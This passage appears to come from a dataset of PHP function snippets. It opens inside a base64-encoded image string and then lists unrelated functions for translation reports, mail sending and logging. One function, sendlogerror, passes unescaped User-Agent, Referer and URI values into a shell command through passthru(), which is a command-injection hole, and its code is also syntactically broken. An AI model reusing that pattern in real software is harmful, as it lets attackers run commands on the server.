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\" >\r\n </div>';\r\n $posthtml .= '</footer>';\r\n\r\n return $posthtml;\r\n }", "function writeReportForAll()\t{\n\t\tGLOBAL $LANG;\n\n\t\t@ob_end_clean();\n\t\tob_start();\n\t\t$startTime = time();\n\t\techo '<h2>'.$LANG->getLL('report_translation_status').' '.t3lib_BEfunc::dateTime(time()).'</h2>';\n\n\t\t$details = $header = '';\n\n\t\t$header.= '<tr>\n\t\t<td><b>'.$LANG->getLL('report_language').'</b></td>\n\t\t<td><b>'.$LANG->getLL('report_langkey').'</b></td>\n\t\t<td><b>'.$LANG->getLL('report_label_mising').'</b></td\n\t\t<td><b>'.$LANG->getLL('report_complete').'</b></td>\n\t\t<td><b>'.$LANG->getLL('report_missing').'</b></td>\n\t\t<td><b>'.$LANG->getLL('report_download').'</b></td>\n\t\t</tr>';\n\t\t\t// Find all files:\n\t\t$files = array();\n\t\tforeach($this->extPathList as $path)\t{\n\t\t\t$files = array_merge($files, $this->getllxmlFiles(PATH_site . $path));\n\t\t}\n\n\t\tt3lib_div::loadTCA('be_users');\n\t\tforeach($GLOBALS['TCA']['be_users']['columns']['lang']['config']['items'] as $pair)\t{\n\t\t\tif ($pair[1])\t{\n\t\t\t\t\t// Re-generate status\n\t\t\t\t$this->MOD_SETTINGS['editLang'] = $pair[1];\n\t\t\t\t$statInfo = $this->loadTranslationStatus($files, true);\n\n\t\t\t\t$header.= '<tr>\n\t\t\t\t<td><a href=\"#'.$pair[1].'\">'.$pair[0].'</a></td>\n\t\t\t\t<td>'.$pair[1].'</td>\n\t\t\t\t<td>'.$statInfo['Labels missing translation'].'</td>\n\t\t\t\t<td>'.round(100-$statInfo['Labels missing translation']/($statInfo['Labels missing translation']+$statInfo['labels']['ok'])*100).'%</td>\n\t\t\t\t<td>'.($statInfo['csh']['new']+$statInfo['csh']['changed']+$statInfo['csh']['unknown']).'</td>\n\t\t\t\t<td>'.\n\t\t\t\t\t(@is_file(PATH_site.'typo3conf/l10n/'.$pair[1].'.zip') ? '<a href=\"'.$pair[1].'.zip\">'.$pair[1].'.zip</a> ' : '').\n\t\t\t\t\t(@is_file(PATH_site.'typo3conf/l10n/'.$pair[1].'.tgz') ? '<a href=\"'.$pair[1].'.tgz\">'.$pair[1].'.tgz</a> ' : '').\n\t\t\t\t\t'</td>\n\t\t\t\t</tr>';\n\n\n\t\t\t\t$details.= '<h3 id=\"'.$pair[1].'\">'.$pair[0].' ('.$pair[1].')</h3>';\n\n\t\t\t\tif (class_exists('t3lib_utility_Debug')) {\n\t\t\t\t\t$details .= t3lib_utility_Debug::viewArray($statInfo);\n\t\t\t\t} else {\n\t\t\t\t\t$details .= t3lib_div::view_array($statInfo);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t\t// Output:\n\t\techo '<table border=\"1\">'.$header.'</table>';\n\t\techo '<h3>'.$LANG->getLL('report_files').'</h3>';\n\t\tt3lib_utility_Debug::debug($files);\n\t\techo $details;\n\n\t\techo '<hr>'.sprintf($LANG->getLL('report_files'),floor((time()-$startTime)/60),((time()-$startTime)%60));\n\n\t\t// Output:\n\t\t$output = ob_get_contents().chr(10);\n\t\tob_end_clean();\n\n\t\treturn $output;\n\t}", "function sendlogerror($message,$query=\"\", $sendmailto=\"NO\")\n{\n global $_SERVER['HTTP_REFERER'],$_SERVER,$_SERVER['HTTP_USER_AGENT'], $db, $smarty, $checksum;\n\n if(mysql_error())\n {\n $sendmailto=\"[email protected]\";\n }\n \n ob_start();\n var_dump($_SERVER);\n $ret_val = ob_get_contents();\n ob_end_clean();\n \n $errorstring=\"echo \\\"\" . date(\"Y-m-d G:i:s\",time() + 37800) . \"\\nErrorMsg: $message\\nMysql Error: \" . addslashes(mysql_error()) .\"\\nMysql Error Number:\". mysql_errno().\"\\nSQL: $query\\n#User Agent : $_SERVER['HTTP_USER_AGENT']\\n #Referer : $_SERVER['HTTP_REFERER'] \\n #Self : \".$_SERVER['PHP_SELF'].\"\\n #Uri : \".$_SERVER['REQUEST_URI'].\"\\n #Method : \".$_SERVER['REQUEST_METHOD'].\"\\n\";\n \n $errorstring.=\"\\\" >> logerror.txt\";\n \n passthru($errorstring);\n $errorstring.=\"\\n#Details : $ret_val\";\n if($sendmailto!=\"NO\")\n $b=mail($sendmailto,\"ERROR in sendemail\", $errorstring);\n \n}", "function logThisToTxtFile($logENID,$action)\n{\n\t$detect = new Mobile_Detect();\n\t\n\t$user_browser=user_browser();\n\t$user_os=user_os();\n\t$user_ip=getRealIpAddr();\n\t\t\t\t\n\tif ($detect->isMobile())\n\t{\n\t\t// mobile content\n\t\t$device='Mobile';\n\t} \t\t\t\t\n\telse\n\t{\n\t\t// other content for desktops\n\t\t$device='Desktop';\n\t}\n\tdate_default_timezone_set('UTC');\t\n\t$logDateTime= date('Y-m-d H:i:s');\t\t\n\t$log_this = 'EN client '.$logENID.': '.$action.' on UTC '.$logDateTime.' from '.$user_ip.' using '.$device.' through browser '.$user_browser.' ,OS: '.$user_os;\n\t$filename= 'ENLog_'.date('MY').'.txt';\n \t$myfile = file_put_contents($filename, $log_this.PHP_EOL , FILE_APPEND);\t\n\n}", "function writeSchedule()\n\t\t{\n\t\t\tinclude \"functions/readTutors.php\";\n\t\t\tinclude \"functions/writeEvents.php\";\n\t\t\tinclude \"functions/readEvents.php\";\n\t\t\tinclude \"functions/buildSchedule.php\";\n\t\t\t\n\t\t\t// Gets the necessary variables from the included functions\n\t\t\t$tutors = readTutors();\n\t\t\twriteEvents($tutors);\n\t\t\t$events = readEvents(\"files/events.csv\");\n\t\t\t$schedule = buildSchedule($events);\n\t\t\t\n\t\t\t// Attempts to open file schedule.html\n\t\t\t$fileName = \"schedule.html\";\n\t\t\t$file = fopen($fileName,\"w\");\n\t\t\tif(!$file)\n\t\t\t{\n\t\t\t\tdie(\"Unable to open $fileName\");\n\t\t\t}\n\t\t\t\n\t\t\t// Writes the schedule to the file\n\t\t\tfwrite($file,$schedule);\n\t\t\t\n\t\t\t// Closes the file\n\t\t\tfclose($file);\n\t\t}", "private function _build_mail () {\n if (empty($this->sendto) && (empty($this->body) && empty($this->htmlbody))) {\n throw new Exception(\"Cannot send, need more information\");\n }\n\n // build the headers\n $this->headers = \"\";\n\n $this->xheaders['To'] = implode(',', $this->sendto);\n\n $cc_header_name = ($this->apply_windows_bugfix) ? 'cc': 'Cc';\n if (!empty($this->sendcc)) $this->xheaders[$cc_header_name] = implode(',', $this->sendcc);\n if (!empty($this->sendbcc)) $this->xheaders['Bcc'] = implode(',', $this->sendbcc);\n\n if($this->receipt) {\n if(isset($this->xheaders['Reply-To'])) {\n $this->xheaders['Disposition-Notification-To'] = $this->xheaders['Reply-To'];\n }\n elseif (isset($this->xheaders['From'])) {\n $this->xheaders['Disposition-Notification-To'] = $this->xheaders['From'];\n }\n }\n\n if($this->charset != '') {\n $this->xheaders['Mime-Version'] = '1.0';\n $this->xheaders['Content-Type'] = 'text/plain; charset='.$this->charset;\n $this->xheaders['Content-Transfer-Encoding'] = $this->ctencoding;\n }\n\n if (!$this->xheaders['X-Mailer']) {\n $this->xheaders['X-Mailer'] = 'King-Fu MimeMail';\n }\n\n // setup the body ready for sending\n $this->_set_body();\n\n foreach ($this->xheaders as $head => $value) {\n $rgx = ($this->apply_windows_bugfix) ? 'Subject' : 'Subject|To'; // don't strip out To header for bugfix\n if (!preg_match('/^'.$rgx.'$/i', $head)) $this->headers .= $head.': '.strtr($value, \"\\r\\n\", ' ').\"\\n\";\n }\n }", "private function show_all_mail(){\n $this->get_all_mail();\n $counter =1;\n while ($this->mails[$counter][\"date\"]!=\"\"){\n echo \"<hr/>\";\n echo \"date: \".$this->mails[$counter][\"date\"][\"raw\"].\"<br/>\";\n echo \"year: \".$this->mails[$counter][\"date\"][\"year\"].\"<br/>\";\n echo \"month: \".$this->mails[$counter][\"date\"][\"month\"].\"<br/>\";\n echo \"day: \".$this->mails[$counter][\"date\"][\"day\"].\"<br/>\";\n echo \"hour: \".$this->mails[$counter][\"date\"][\"hour\"].\"<br/>\";\n echo \"minute: \".$this->mails[$counter][\"date\"][\"minute\"].\"<br/>\";\n echo \"subject: \".$this->mails[$counter][\"subject\"].\"<br/>\";\n echo \"mailbox: \".$this->mails[$counter][\"mailbox\"].\"<br/>\";\n echo \"host: \".$this->mails[$counter][\"host\"].\"<br/>\";\n echo \"text: \".$this->mails[$counter][\"text\"].\"<br/>\";\n $pic = 2;\n while ($this->mails[$counter][\"image\"][$pic][\"data\"]!=\"\"){\n $pic--;\n echo \"Bild Nr.\".$pic.\"<br/>\";\n $pic++;\n echo \"Bild Name: <a href=\\\"pics/\".$this->mails[$counter][\"image\"][$pic][\"name\"].\"\\\">\".$this->mails[$counter][\"image\"][$pic][\"name\"].\"</a><br/>\";\n //$this->email_base64_to_file($counter, $pic);\n //echo \"image \".$pic.\": \".$this->mails[$counter][\"image\"][$pic][\"data\"].\"<br/>\";\n $pic++;\n } \n $counter++; \n }\n }", "public function apb_email_footer() {\r\n\t\tinclude AWE_function::template_exsits( 'emails/apb-email-footer' );\r\n\t}", "protected static function mails()\n {\n if (is_dir(root().'app/mails')) {\n foreach (self::fetch('app/mails', false) as $file) {\n need($file);\n }\n }\n }", "private function handleMail ()\n {\n if ( count ($this->fileData['envelope_to']) > 0 )\n {\n if ( array_key_exists ('MESS_ENGINE', $this->config) )\n {\n switch ($this->config['MESS_ENGINE']) {\n case 'MAIL':\n case 'PHPMAILER':\n require_once PATH_THIRDPARTY . \"phpmailer/phpmailer.php\";\n\n switch ($this->config['MESS_ENGINE']) {\n case 'MAIL':\n $oPHPMailer = new PHPMailer();\n $oPHPMailer->Mailer = 'mail';\n break;\n case 'PHPMAILER':\n $oPHPMailer = new PHPMailer (true);\n $oPHPMailer->Mailer = 'smtp';\n break;\n }\n\n $oPHPMailer->SMTPAuth = (isset ($this->config['SMTPAuth']) ? $this->config['SMTPAuth'] : '');\n\n switch ($this->config['MESS_ENGINE']) {\n case 'MAIL':\n break;\n case 'PHPMAILER':\n //Posible Options for SMTPSecure are: \"\", \"ssl\" or \"tls\"\n if ( isset ($this->config['SMTPSecure']) && preg_match ('/^(ssl|tls)$/', $this->config['SMTPSecure']) )\n {\n $oPHPMailer->SMTPSecure = $this->config['SMTPSecure'];\n }\n break;\n }\n $oPHPMailer->CharSet = \"UTF-8\";\n $oPHPMailer->Encoding = \"8bit\";\n $oPHPMailer->Host = $this->config['MESS_SERVER'];\n $oPHPMailer->Port = $this->config['MESS_PORT'];\n $oPHPMailer->Username = $this->config['MESS_ACCOUNT'];\n $oPHPMailer->Password = $this->config['MESS_PASSWORD'];\n $oPHPMailer->SetFrom ($this->fileData['from_email'], utf8_decode ($this->fileData['from_name']));\n\n if ( isset ($this->fileData['reply_to']) )\n {\n if ( $this->fileData['reply_to'] != '' )\n {\n $oPHPMailer->AddReplyTo ($this->fileData['reply_to'], $this->fileData['reply_to_name']);\n }\n }\n\n $msSubject = $this->fileData['subject'];\n\n if ( !(mb_detect_encoding ($msSubject, \"UTF-8\") == \"UTF-8\") )\n {\n $msSubject = utf8_encode ($msSubject);\n }\n\n $oPHPMailer->Subject = $msSubject;\n\n $msBody = $this->fileData['body'];\n\n if ( !(mb_detect_encoding ($msBody, \"UTF-8\") == \"UTF-8\") )\n {\n $msBody = utf8_encode ($msBody);\n }\n\n $oPHPMailer->Body = $msBody;\n\n $attachment = @unserialize ($this->fileData['attachments']);\n if ( $attachment === false )\n {\n $attachment = $this->fileData['attachments'];\n }\n if ( is_array ($attachment) )\n {\n foreach ($attachment as $key => $fileAttach) {\n if ( file_exists ($fileAttach) )\n {\n $oPHPMailer->AddAttachment ($fileAttach, is_int ($key) ? '' : $key );\n }\n }\n }\n\n foreach ($this->fileData['envelope_to'] as $sEmail) {\n if ( strpos ($sEmail, '<') !== false )\n {\n preg_match ($this->longMailEreg, $sEmail, $matches);\n $sTo = trim ($matches[3]);\n $sToName = trim ($matches[1]);\n $oPHPMailer->AddAddress ($sTo, $sToName);\n }\n else\n {\n $oPHPMailer->AddAddress ($sEmail);\n }\n }\n\n //CC\n foreach ($this->fileData['envelope_cc'] as $sEmail) {\n if ( strpos ($sEmail, '<') !== false )\n {\n preg_match ($this->longMailEreg, $sEmail, $matches);\n if ( isset ($matches[1]) && isset ($matches[3]) )\n {\n $sTo = trim ($matches[3]);\n $sToName = trim ($matches[1]);\n }\n else\n {\n $sTo = \"[email protected]\";\n $sToName = \"Michael Hampton\";\n }\n\n $oPHPMailer->AddCC ($sTo, $sToName);\n }\n else\n {\n $oPHPMailer->AddCC ($sEmail);\n }\n }\n\n //BCC\n foreach ($this->fileData['envelope_bcc'] as $sEmail) {\n if ( strpos ($sEmail, '<') !== false )\n {\n preg_match ($this->longMailEreg, $sEmail, $matches);\n $sTo = trim ($matches[3]);\n $sToName = trim ($matches[1]);\n $oPHPMailer->AddBCC ($sTo, $sToName);\n }\n else\n {\n $oPHPMailer->AddBCC ($sEmail);\n }\n }\n\n $oPHPMailer->IsHTML ($this->fileData[\"contentTypeIsHtml\"]);\n\n if ( $this->config['MESS_ENGINE'] == 'MAIL' )\n {\n $oPHPMailer->WordWrap = 300;\n }\n\n if ( $oPHPMailer->Send () )\n {\n $this->error = '';\n $this->status = 'sent';\n }\n else\n {\n $this->error = $oPHPMailer->ErrorInfo;\n $this->status = 'failed';\n }\n break;\n case 'OPENMAIL':\n //G::LoadClass ('package');\n //G::LoadClass ('smtp');\n $pack = new package ($this->fileData);\n $header = $pack->returnHeader ();\n $body = $pack->returnBody ();\n $send = new smtp();\n $send->setServer ($this->config['MESS_SERVER']);\n $send->setPort ($this->config['MESS_PORT']);\n $send->setUsername ($this->config['MESS_ACCOUNT']);\n\n $passwd = $this->config['MESS_PASSWORD'];\n $passwdDec = $this->decrypt ($passwd, 'EMAILENCRYPT');\n $auxPass = explode ('hash:', $passwdDec);\n\n if ( count ($auxPass) > 1 )\n {\n if ( count ($auxPass) == 2 )\n {\n $passwd = $auxPass[1];\n }\n else\n {\n array_shift ($auxPass);\n $passwd = implode ('', $auxPass);\n }\n }\n\n $this->config['MESS_PASSWORD'] = $passwd;\n $send->setPassword ($this->config['MESS_PASSWORD']);\n $send->setReturnPath ($this->fileData['from_email']);\n $send->setHeaders ($header);\n $send->setBody ($body);\n $send->setEnvelopeTo ($this->fileData['envelope_to']);\n if ( $send->sendMessage () )\n {\n $this->error = '';\n $this->status = 'sent';\n }\n else\n {\n $this->error = implode (', ', $send->returnErrors ());\n $this->status = 'failed';\n }\n break;\n }\n }\n }\n }", "public function configMail() {\n add_filter('wp_mail_content_type', function($type) {return 'text/html';});\n add_filter('wp_mail_from_name', function() {return 'Portfolio Site';});\n add_filter('wp_mail_from', function() {return 'wordpress@' . $_SERVER['HTTP_HOST'];});\n }", "function __construct() {\n\t\t\t\tparent 